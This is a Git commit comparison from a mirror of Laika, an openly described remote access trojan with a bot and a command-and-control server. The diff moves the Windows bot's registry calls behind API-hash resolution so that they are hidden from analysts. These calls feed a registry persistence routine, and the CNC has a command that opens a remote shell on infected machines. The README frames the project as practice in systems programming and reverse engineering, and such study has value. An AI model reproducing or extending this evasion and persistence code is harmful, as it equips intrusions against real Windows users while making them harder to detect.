mirror of https://github.com/CPunch/Laika.git
Compare commits
2 Commits
6a3bad9489
...
25c18db6bc
Author | SHA1 | Date |
---|---|---|
|
25c18db6bc | |
|
5d2f492c41 |
51
README.md
51
README.md
|
@ -3,6 +3,7 @@
|
|||
<p align="center">
|
||||
<a href="https://github.com/CPunch/Laika/actions/workflows/check-build.yaml"><img src="https://github.com/CPunch/Laika/actions/workflows/check-build.yaml/badge.svg?branch=main" alt="Workflow"></a>
|
||||
<a href="https://github.com/CPunch/Laika/blob/main/LICENSE.md"><img src="https://img.shields.io/github/license/CPunch/Laika" alt="License"></a>
|
||||
<br>
|
||||
<a href="https://asciinema.org/a/499508" target="_blank"><img src="https://asciinema.org/a/499508.svg" /></a>
|
||||
</p>
|
||||
|
||||
|
@ -23,55 +24,11 @@ Some notable features thus far:
|
|||
|
||||
## Why?
|
||||
|
||||
Most public malware sources in the wild are nerf'd or poorly made. Laika is written in modern C, and strives to adhere to best practices while keeping a maintainable and readable code base. The reader is encouraged to compile a `MinSizeRel` build of Laika and open it up in their favorite disassembler. Take a look at how certain functions or subroutines look compared to its plaintext source. See if you can dump strings during runtime with a debugger, try to break Laika. Play both sides by breaking Laika, and improving it to make reversing and analysis harder. Most malware depend on the time that it takes to analyze a sample, this gives their malware time to do whatever before eventually being shutdown. Playing both sides will help give you insight into the methods and bitterness that is this cat and mouse game.
|
||||
I started this project to practice my systems programming skills, specifically networking related things. The networking code in this project (under `/lib`) is probably what I'm most proud of in this project. After that I start trying to learn some common obfuscation methods I've seen used in the wild. I've used this project mostly to improve my skills of managing a 'larger' project. Things relating to having a consistent code style, documenting features and development tasks are really important skills to have when managing a codebase like this.
|
||||
|
||||
## Would this work in real world scenarios?
|
||||
## How do I use this?
|
||||
|
||||
My hope is that this becomes complete enough to be accurate to real RAT sources seen in the wild. However since Laika uses a binary protocol, the traffic the bot/CNC create would look very suspect and scream to sysadmins. This is why most RATs/botnets nowadays use an HTTP-based protocol, not only to 'blend in' with traffic, but it also scales well with large networks of bots where the CNC can be deployed across multiple servers and have a generic HTTP load balancer.
|
||||
|
||||
I could add some padding to each packet to make it look pseudo-HTTP-like, however I haven't given much thought to this.
|
||||
|
||||
## CMake Definitions
|
||||
|
||||
| Definition | Description | Example |
|
||||
| ----------------- | ------------------------------------- | --------------------------------------------------------------------------------- |
|
||||
| LAIKA_PUBKEY | Sets CNC's public key | -DLAIKA_PUBKEY=997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814 |
|
||||
| LAIKA_PRIVKEY | Sets CNC's private key | -DLAIKA_PRIVKEY=1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841 |
|
||||
| LAIKA_CNC_IP | Sets CNC's public ip | -DLAIKA_CNC_IP=127.0.0.1 |
|
||||
| LAIKA_CNC_PORT | Sets CNC's bind()'d port | -DLAIKA_CNC_PORT=13337 |
|
||||
| LAIKA_PERSISTENCE | Enables persistence for LaikaBot | -DLAIKA_PERSISTENCE=On |
|
||||
| LAIKA_OBFUSCATE | Enables string obfuscation for LaikaBot | -DLAIKA_OBFUSCATE=On |
|
||||
> examples are passed to `cmake -B <dir>`
|
||||
|
||||
## Configuration and compilation
|
||||
|
||||
Make sure you have the following libraries and tools installed:
|
||||
- CMake (>=3.16)
|
||||
- Compiler with C11 support (GCC >= 4.7, Clang >= 3.1, etc.)
|
||||
|
||||
The only dependency (LibSodium) is vender'd and statically compiled against the `/lib`. This should be kept up-to-date against stable and security related updates to LibSodium.
|
||||
|
||||
First, compile the target normally
|
||||
|
||||
```sh
|
||||
$ cmake -B build && cmake --build build
|
||||
```
|
||||
|
||||
Now, generate your custom key pair using `genKey`
|
||||
|
||||
```sh
|
||||
$ ./bin/genKey
|
||||
```
|
||||
|
||||
Next, rerun cmake, but passing your public and private keypairs
|
||||
|
||||
```sh
|
||||
$ rm -rf bin build &&\
|
||||
cmake -B build -DLAIKA_PUBKEY=997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814 -DLAIKA_PRIVKEY=1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841 -DCMAKE_BUILD_TYPE=MinSizeRel &&\
|
||||
cmake --build build
|
||||
```
|
||||
|
||||
Output binaries are put in the `./bin` folder
|
||||
Please refer to the [Wiki](https://github.com/CPunch/Laika/wiki) for any questions relating to deployment, compilation & setup.
|
||||
|
||||
## Looking to contribute?
|
||||
|
||||
|
|
|
@ -12,11 +12,19 @@ typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR,
|
|||
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
|
||||
typedef void(WINAPI *_ClosePseudoConsole)(HPCON);
|
||||
typedef BOOL(WINAPI *_CreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
||||
typedef LSTATUS(WINAPI *_RegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
|
||||
typedef LSTATUS(WINAPI *_RegCloseKey)(HKEY);
|
||||
typedef LSTATUS(WINAPI *_RegSetValueExA)(HKEY, LPCSTR, DWORD, DWORD, const BYTE *, DWORD);
|
||||
typedef LSTATUS(WINAPI *_RegQueryValueExA)(HKEY, LPCSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
|
||||
|
||||
extern _ShellExecuteA oShellExecuteA;
|
||||
extern _CreatePseudoConsole oCreatePseudoConsole;
|
||||
extern _ClosePseudoConsole oClosePseudoConsole;
|
||||
extern _CreateProcessA oCreateProcessA;
|
||||
extern _RegOpenKeyExA oRegOpenKeyExA;
|
||||
extern _RegCloseKey oRegCloseKey;
|
||||
extern _RegSetValueExA oRegSetValueExA;
|
||||
extern _RegQueryValueExA oRegQueryValueExA;
|
||||
#endif
|
||||
|
||||
void laikaO_init();
|
||||
|
|
|
@ -8,6 +8,8 @@
|
|||
*/
|
||||
|
||||
#include <process.h>
|
||||
#include <shlobj.h>
|
||||
#include <shlwapi.h>
|
||||
#include <windows.h>
|
||||
|
||||
/* ======================================[[ API Hashing ]]====================================== */
|
||||
|
@ -139,11 +141,13 @@ _ShellExecuteA oShellExecuteA;
|
|||
_CreatePseudoConsole oCreatePseudoConsole;
|
||||
_ClosePseudoConsole oClosePseudoConsole;
|
||||
_CreateProcessA oCreateProcessA;
|
||||
_RegOpenKeyExA oRegOpenKeyExA;
|
||||
_RegCloseKey oRegCloseKey;
|
||||
_RegSetValueExA oRegSetValueExA;
|
||||
_RegQueryValueExA oRegQueryValueExA;
|
||||
|
||||
/* TODO:
|
||||
GetEnvironmentVariable
|
||||
|
||||
windows registry related API
|
||||
*/
|
||||
|
||||
void laikaO_init()
|
||||
|
@ -155,11 +159,8 @@ void laikaO_init()
|
|||
oCreatePseudoConsole = (_CreatePseudoConsole)findByHash("kernel32.dll", 0x7310ef7);
|
||||
oClosePseudoConsole = (_ClosePseudoConsole)findByHash("kernel32.dll", 0xeff42590);
|
||||
oCreateProcessA = (_CreateProcessA)findByHash("kernel32.dll", 0x9e687c1d);
|
||||
|
||||
/*
|
||||
hash = getHashName("InitializeProcThreadAttributeList");
|
||||
printf("InitializeProcThreadAttributeList: real is %p, hashed is %p. [HASH: %x]\n",
|
||||
(void *)InitializeProcThreadAttributeList,
|
||||
findByHash("kernel32.dll", hash), hash);
|
||||
*/
|
||||
oRegOpenKeyExA = (_RegOpenKeyExA)(findByHash("advapi32.dll", 0x15041404));
|
||||
oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309));
|
||||
oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
|
||||
oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
|
||||
}
|
|
@ -49,7 +49,7 @@ HKEY openReg(HKEY key, LPCSTR subKey)
|
|||
{
|
||||
HKEY hKey;
|
||||
|
||||
if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
if (oRegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
LAIKA_ERROR("Failed to open registry key!\n");
|
||||
|
||||
return hKey;
|
||||
|
@ -63,12 +63,12 @@ LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz)
|
|||
|
||||
/* get the size */
|
||||
*sz = 0;
|
||||
RegQueryValueExA(key, val, NULL, NULL, NULL, sz);
|
||||
oRegQueryValueExA(key, val, NULL, NULL, NULL, sz);
|
||||
|
||||
if (*sz != 0) {
|
||||
str = (LPSTR)laikaM_malloc(*sz);
|
||||
|
||||
if ((ret = RegQueryValueExA(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
|
||||
if ((ret = oRegQueryValueExA(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
|
||||
LAIKA_ERROR("Failed to read registry!\n");
|
||||
}
|
||||
|
||||
|
@ -79,7 +79,7 @@ void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz)
|
|||
{
|
||||
LONG code;
|
||||
|
||||
if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
|
||||
if ((code = oRegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
|
||||
LAIKA_ERROR("Failed to write registry!\n");
|
||||
}
|
||||
|
||||
|
@ -190,7 +190,7 @@ void installRegistry()
|
|||
writeReg(reg, regKeyVal, newRegValue, newRegSz);
|
||||
}
|
||||
|
||||
RegCloseKey(reg);
|
||||
oRegCloseKey(reg);
|
||||
LAIKA_BOX_SKID_END(regKeyVal);
|
||||
LAIKA_BOX_SKID_END(regKey);
|
||||
}
|
||||
|
|
|
@ -84,7 +84,7 @@ void openShellCMD(tShell_client *client, int argc, char *argv[])
|
|||
id = shellS_readInt(argv[1]);
|
||||
peer = shellS_getPeer(client, id);
|
||||
|
||||
PRINTINFO("Opening shell on peer %04d...\n");
|
||||
PRINTINFO("Opening shell on peer %04d...\n", id);
|
||||
PRINTINFO("Use CTRL+A to kill the shell\n");
|
||||
|
||||
/* open shell on peer */
|
||||
|
|
Loading…
Reference in New Issue